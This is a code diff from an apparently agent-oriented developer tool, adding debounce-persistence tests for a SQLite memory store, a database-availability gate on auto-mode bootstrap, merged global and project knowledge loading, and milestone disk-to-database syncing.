|
|
41
|
+
{ threadId: "t3", filePath: "/c.txt", fileSize: 300, fileMtime: 3000, cwd: "/proj" },
|
|
42
|
+
]);
|
|
43
|
+
|
|
44
|
+
const afterMutationsBuf = readFileSync(dbPath);
|
|
45
|
+
assert.deepEqual(
|
|
46
|
+
afterMutationsBuf,
|
|
47
|
+
initialStat,
|
|
48
|
+
"File should not have been written yet (debounce window has not elapsed)",
|
|
49
|
+
);
|
|
50
|
+
|
|
51
|
+
await wait(700);
|
|
52
|
+
|
|
53
|
+
const afterDebounceBuf = readFileSync(dbPath);
|
|
54
|
+
assert.notDeepEqual(
|
|
55
|
+
afterDebounceBuf,
|
|
56
|
+
initialStat,
|
|
57
|
+
"File should have been written after debounce window elapsed",
|
|
58
|
+
);
|
|
59
|
+
|
|
60
|
+
const stats = storage.getStats();
|
|
61
|
+
assert.equal(stats.totalThreads, 3);
|
|
62
|
+
|
|
63
|
+
storage.close();
|
|
64
|
+
});
|
|
65
|
+
|
|
62
66
|
it("close() flushes pending changes immediately without waiting for debounce", async () => {
|
|
63
|
-
|
|
67
|
+
dir = makeTmpDir();
|
|
64
68
|
const dbPath = join(dir, "test.db");
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
reopened.close();
|
|
94
|
-
} finally {
|
|
95
|
-
rmSync(dir, { recursive: true, force: true });
|
|
96
|
-
}
|
|
69
|
+
const storage = await MemoryStorage.create(dbPath);
|
|
70
|
+
|
|
71
|
+
const initialBuf = readFileSync(dbPath);
|
|
72
|
+
|
|
73
|
+
storage.upsertThreads([
|
|
74
|
+
{ threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
|
|
75
|
+
]);
|
|
76
|
+
|
|
77
|
+
const beforeCloseBuf = readFileSync(dbPath);
|
|
78
|
+
assert.deepEqual(
|
|
79
|
+
beforeCloseBuf,
|
|
80
|
+
initialBuf,
|
|
81
|
+
"File should not have been written yet (debounce window has not elapsed)",
|
|
82
|
+
);
|
|
83
|
+
|
|
84
|
+
storage.close();
|
|
85
|
+
|
|
86
|
+
const afterCloseBuf = readFileSync(dbPath);
|
|
87
|
+
assert.notDeepEqual(
|
|
88
|
+
afterCloseBuf,
|
|
89
|
+
initialBuf,
|
|
90
|
+
"File should have been written immediately on close()",
|
|
91
|
+
);
|
|
92
|
+
|
|
93
|
+
const reopened = await MemoryStorage.create(dbPath);
|
|
94
|
+
const stats = reopened.getStats();
|
|
95
|
+
assert.equal(stats.totalThreads, 1, "Data should be persisted and readable after close");
|
|
96
|
+
reopened.close();
|
|
97
97
|
});
|
|
98
98
|
});
|
|
@@ -551,6 +551,20 @@ export async function bootstrapAutoSession(
|
|
|
551
551
|
}
|
|
552
552
|
}
|
|
553
553
|
|
|
554
|
+
// Gate: abort bootstrap if the DB file exists but the provider is
|
|
555
|
+
// still unavailable after both open attempts above. Without this,
|
|
556
|
+
// auto-mode starts but every gsd_task_complete / gsd_slice_complete
|
|
557
|
+
// call returns "db_unavailable", triggering artifact-retry which
|
|
558
|
+
// re-dispatches the same task — producing an infinite loop (#2419).
|
|
559
|
+
if (existsSync(gsdDbPath) && !isDbAvailable()) {
|
|
560
|
+
ctx.ui.notify(
|
|
561
|
+
"SQLite database exists but failed to open. Auto-mode cannot proceed without a working database provider. " +
|
|
562
|
+
"Check for corrupt gsd.db or missing native SQLite bindings.",
|
|
563
|
+
"error",
|
|
564
|
+
);
|
|
565
|
+
return releaseLockAndReturn();
|
|
566
|
+
}
|
|
567
|
+
|
|
554
568
|
// Initialize metrics
|
|
555
569
|
initMetrics(s.basePath);
|
|
556
570
|
|
|
@@ -64,17 +64,12 @@ export async function buildBeforeAgentStartResult(
|
|
|
64
64
|
}
|
|
65
65
|
}
|
|
66
66
|
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
knowledgeBlock = `\n\n[PROJECT KNOWLEDGE — Rules, patterns, and lessons learned]\n\n${content}`;
|
|
74
|
-
}
|
|
75
|
-
} catch {
|
|
76
|
-
// skip
|
|
77
|
-
}
|
|
67
|
+
const { block: knowledgeBlock, globalSizeKb } = loadKnowledgeBlock(gsdHome, process.cwd());
|
|
68
|
+
if (globalSizeKb > 4) {
|
|
69
|
+
ctx.ui.notify(
|
|
70
|
+
`GSD: ~/.gsd/agent/KNOWLEDGE.md is ${globalSizeKb.toFixed(1)}KB — consider trimming to keep system prompt lean.`,
|
|
71
|
+
"warning",
|
|
72
|
+
);
|
|
78
73
|
}
|
|
79
74
|
|
|
80
75
|
let memoryBlock = "";
|
|
@@ -126,6 +121,48 @@ export async function buildBeforeAgentStartResult(
|
|
|
126
121
|
};
|
|
127
122
|
}
|
|
128
123
|
|
|
124
|
+
export function loadKnowledgeBlock(gsdHomeDir: string, cwd: string): { block: string; globalSizeKb: number } {
|
|
125
|
+
// 1. Global knowledge (~/.gsd/agent/KNOWLEDGE.md) — cross-project, user-maintained
|
|
126
|
+
let globalKnowledge = "";
|
|
127
|
+
let globalSizeKb = 0;
|
|
128
|
+
const globalKnowledgePath = join(gsdHomeDir, "agent", "KNOWLEDGE.md");
|
|
129
|
+
if (existsSync(globalKnowledgePath)) {
|
|
130
|
+
try {
|
|
131
|
+
const content = readFileSync(globalKnowledgePath, "utf-8").trim();
|
|
132
|
+
if (content) {
|
|
133
|
+
globalSizeKb = Buffer.byteLength(content, "utf-8") / 1024;
|
|
134
|
+
globalKnowledge = content;
|
|
135
|
+
}
|
|
136
|
+
} catch {
|
|
137
|
+
// skip
|
|
138
|
+
}
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
// 2. Project knowledge (.gsd/KNOWLEDGE.md) — project-specific
|
|
142
|
+
let projectKnowledge = "";
|
|
143
|
+
const knowledgePath = resolveGsdRootFile(cwd, "KNOWLEDGE");
|
|
144
|
+
if (existsSync(knowledgePath)) {
|
|
145
|
+
try {
|
|
146
|
+
const content = readFileSync(knowledgePath, "utf-8").trim();
|
|
147
|
+
if (content) projectKnowledge = content;
|
|
148
|
+
} catch {
|
|
149
|
+
// skip
|
|
150
|
+
}
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
if (!globalKnowledge && !projectKnowledge) {
|
|
154
|
+
return { block: "", globalSizeKb: 0 };
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
const parts: string[] = [];
|
|
158
|
+
if (globalKnowledge) parts.push(`## Global Knowledge\n\n${globalKnowledge}`);
|
|
159
|
+
if (projectKnowledge) parts.push(`## Project Knowledge\n\n${projectKnowledge}`);
|
|
160
|
+
return {
|
|
161
|
+
block: `\n\n[KNOWLEDGE — Rules, patterns, and lessons learned]\n\n${parts.join("\n\n")}`,
|
|
162
|
+
globalSizeKb,
|
|
163
|
+
};
|
|
164
|
+
}
|
|
165
|
+
|
|
129
166
|
function buildWorktreeContextBlock(): string {
|
|
130
167
|
const worktreeName = getActiveWorktreeName();
|
|
131
168
|
const worktreeMainCwd = getWorktreeOriginalCwd();
|
|
@@ -188,6 +188,14 @@ export async function handleWorkflowCommand(trimmed: string, ctx: ExtensionComma
|
|
|
188
188
|
return true;
|
|
189
189
|
}
|
|
190
190
|
if (trimmed === "quick" || trimmed.startsWith("quick ")) {
|
|
191
|
+
if (isAutoActive()) {
|
|
192
|
+
ctx.ui.notify(
|
|
193
|
+
"/gsd quick cannot run while auto-mode is active.\n" +
|
|
194
|
+
"Stop auto-mode first with /gsd stop, then run /gsd quick.",
|
|
195
|
+
"error",
|
|
196
|
+
);
|
|
197
|
+
return true;
|
|
198
|
+
}
|
|
191
199
|
await handleQuick(trimmed.replace(/^quick\s*/, "").trim(), ctx, pi);
|
|
192
200
|
return true;
|
|
193
201
|
}
|
|
@@ -196,6 +196,13 @@ function loadPreferencesFile(path: string, scope: "global" | "project"): LoadedG
|
|
|
196
196
|
};
|
|
197
197
|
}
|
|
198
198
|
|
|
199
|
+
let _warnedUnrecognizedFormat = false;
|
|
200
|
+
|
|
201
|
+
/** @internal Reset the warn-once flag — exported for testing only. */
|
|
202
|
+
export function _resetParseWarningFlag(): void {
|
|
203
|
+
_warnedUnrecognizedFormat = false;
|
|
204
|
+
}
|
|
205
|
+
|
|
199
206
|
/** @internal Exported for testing only */
|
|
200
207
|
export function parsePreferencesMarkdown(content: string): GSDPreferences | null {
|
|
201
208
|
// Use indexOf instead of [\s\S]*? regex to avoid backtracking (#468)
|
|
@@ -214,7 +221,10 @@ export function parsePreferencesMarkdown(content: string): GSDPreferences | null
|
|
|
214
221
|
return parseHeadingListFormat(content);
|
|
215
222
|
}
|
|
216
223
|
|
|
217
|
-
|
|
224
|
+
if (!_warnedUnrecognizedFormat) {
|
|
225
|
+
_warnedUnrecognizedFormat = true;
|
|
226
|
+
console.warn("[parsePreferencesMarkdown] preferences.md exists but uses an unrecognized format — skipping.");
|
|
227
|
+
}
|
|
218
228
|
return null;
|
|
219
229
|
}
|
|
220
230
|
|
|
@@ -48,6 +48,7 @@ import {
|
|
|
48
48
|
getSliceTasks,
|
|
49
49
|
getReplanHistory,
|
|
50
50
|
getSlice,
|
|
51
|
+
insertMilestone,
|
|
51
52
|
type MilestoneRow,
|
|
52
53
|
type SliceRow,
|
|
53
54
|
type TaskRow,
|
|
@@ -257,7 +258,24 @@ function isStatusDone(status: string): boolean {
|
|
|
257
258
|
export async function deriveStateFromDb(basePath: string): Promise<GSDState> {
|
|
258
259
|
const requirements = parseRequirementCounts(await loadFile(resolveGsdRootFile(basePath, "REQUIREMENTS")));
|
|
259
260
|
|
|
260
|
-
|
|
261
|
+
let allMilestones = getAllMilestones();
|
|
262
|
+
|
|
263
|
+
// Incremental disk→DB sync: milestone directories created outside the DB
|
|
264
|
+
// write path (via /gsd queue, manual mkdir, or complete-milestone writing the
|
|
265
|
+
// next CONTEXT.md) are never inserted by the initial migration guard in
|
|
266
|
+
// auto-start.ts because that guard only runs when gsd.db doesn't exist yet.
|
|
267
|
+
// Reconcile here so deriveStateFromDb never silently misses queued milestones.
|
|
268
|
+
// insertMilestone uses INSERT OR IGNORE, so this is safe to call every time.
|
|
269
|
+
const dbIdSet = new Set(allMilestones.map(m => m.id));
|
|
270
|
+
const diskIds = findMilestoneIds(basePath);
|
|
271
|
+
let synced = false;
|
|
272
|
+
for (const diskId of diskIds) {
|
|
273
|
+
if (!dbIdSet.has(diskId) && !isGhostMilestone(basePath, diskId)) {
|
|
274
|
+
insertMilestone({ id: diskId, status: 'active' });
|
|
275
|
+
synced = true;
|
|
276
|
+
}
|
|
277
|
+
}
|
|
278
|
+
if (synced) allMilestones = getAllMilestones();
|
|
261
279
|
|
|
262
280
|
// Parallel worker isolation: when locked, filter to just the locked milestone
|
|
263
281
|
const milestoneLock = process.env.GSD_MILESTONE_LOCK;
|